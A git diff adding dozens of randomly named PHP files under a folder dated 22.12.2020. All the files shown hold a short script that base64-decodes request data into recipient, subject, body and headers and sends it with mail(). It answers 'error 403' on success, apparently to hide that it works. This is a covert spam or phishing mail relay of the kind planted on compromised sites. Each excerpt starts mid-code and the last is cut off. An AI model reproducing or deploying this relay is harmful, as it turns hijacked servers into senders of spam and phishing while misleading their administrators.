diff --git a/22.12.2020/BFmAJSxX.php b/22.12.2020/BFmAJSxX.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/BFmAJSxX.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/BRjhLgLQ.php b/22.12.2020/BRjhLgLQ.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/BRjhLgLQ.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/BWTcIoEjdddd.php b/22.12.2020/BWTcIoEjdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/BWTcIoEjdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/DmSRlmFP.php b/22.12.2020/DmSRlmFP.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/DmSRlmFP.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/EFEUDIus.php b/22.12.2020/EFEUDIus.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/EFEUDIus.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/EdphPrQk.php b/22.12.2020/EdphPrQk.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/EdphPrQk.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/EgevQyTddddd.php b/22.12.2020/EgevQyTddddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/EgevQyTddddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/FeNRQzAt.php b/22.12.2020/FeNRQzAt.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/FeNRQzAt.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/FecofjTc.php b/22.12.2020/FecofjTc.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/FecofjTc.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/FgSNKqWu.php b/22.12.2020/FgSNKqWu.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/FgSNKqWu.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/FmWhRZUq.php b/22.12.2020/FmWhRZUq.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/FmWhRZUq.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/FrUHiDIG.php b/22.12.2020/FrUHiDIG.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/FrUHiDIG.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/GfkYVbxWdddd.php b/22.12.2020/GfkYVbxWdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/GfkYVbxWdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/HtqVVkjt.php b/22.12.2020/HtqVVkjt.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/HtqVVkjt.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/IJjmwZbJ.php b/22.12.2020/IJjmwZbJ.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/IJjmwZbJ.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/ImioXFQJ.php b/22.12.2020/ImioXFQJ.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/ImioXFQJ.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/IoYYhwFKdddd.php b/22.12.2020/IoYYhwFKdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/IoYYhwFKdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/JAsVstuc.php b/22.12.2020/JAsVstuc.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/JAsVstuc.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/JXIpJmQg.php b/22.12.2020/JXIpJmQg.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/JXIpJmQg.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/KcuVlDuN.php b/22.12.2020/KcuVlDuN.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/KcuVlDuN.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/KdlLBpkJ.php b/22.12.2020/KdlLBpkJ.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/KdlLBpkJ.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/KlqptLAvdddd.php b/22.12.2020/KlqptLAvdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/KlqptLAvdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/LTtfRghu.php b/22.12.2020/LTtfRghu.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/LTtfRghu.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/LdejuQrM.php b/22.12.2020/LdejuQrM.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/LdejuQrM.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/MyVzbbKE.php b/22.12.2020/MyVzbbKE.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/MyVzbbKE.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/NNoLYCUU.php b/22.12.2020/NNoLYCUU.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/NNoLYCUU.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/NeManJNT.php b/22.12.2020/NeManJNT.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/NeManJNT.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/NluyCYJr.php b/22.12.2020/NluyCYJr.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/NluyCYJr.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/NpmeYNSN.php b/22.12.2020/NpmeYNSN.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/NpmeYNSN.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/OJVkdZpX.php b/22.12.2020/OJVkdZpX.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/OJVkdZpX.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/OQkvnITe.php b/22.12.2020/OQkvnITe.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/OQkvnITe.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/OambgJtz.php b/22.12.2020/OambgJtz.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/OambgJtz.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/OiIHBlVK.php b/22.12.2020/OiIHBlVK.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/OiIHBlVK.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/OkXZvYbd.php b/22.12.2020/OkXZvYbd.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/OkXZvYbd.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/OtdoNMzU.php b/22.12.2020/OtdoNMzU.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/OtdoNMzU.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/PJRGpbIkdddd.php b/22.12.2020/PJRGpbIkdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/PJRGpbIkdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/PptPmaBI.php b/22.12.2020/PptPmaBI.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/PptPmaBI.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/PvwXclbH.php b/22.12.2020/PvwXclbH.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/PvwXclbH.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/PyEfkiuc.php b/22.12.2020/PyEfkiuc.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/PyEfkiuc.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/PzNmdtZu.php b/22.12.2020/PzNmdtZu.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/PzNmdtZu.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/QPpDEFjq.php b/22.12.2020/QPpDEFjq.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/QPpDEFjq.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/QiSgXrJO.php b/22.12.2020/QiSgXrJO.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/QiSgXrJO.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/QoyRNFkI.php b/22.12.2020/QoyRNFkI.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/QoyRNFkI.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/QpVIdxJFdddd.php b/22.12.2020/QpVIdxJFdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/QpVIdxJFdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/RTENTjsLdddd.php b/22.12.2020/RTENTjsLdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/RTENTjsLdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/RvYXfjQc.php b/22.12.2020/RvYXfjQc.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/RvYXfjQc.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/SJOAMBLXdddd.php b/22.12.2020/SJOAMBLXdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/SJOAMBLXdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/SweCgwXW.php b/22.12.2020/SweCgwXW.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/SweCgwXW.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, 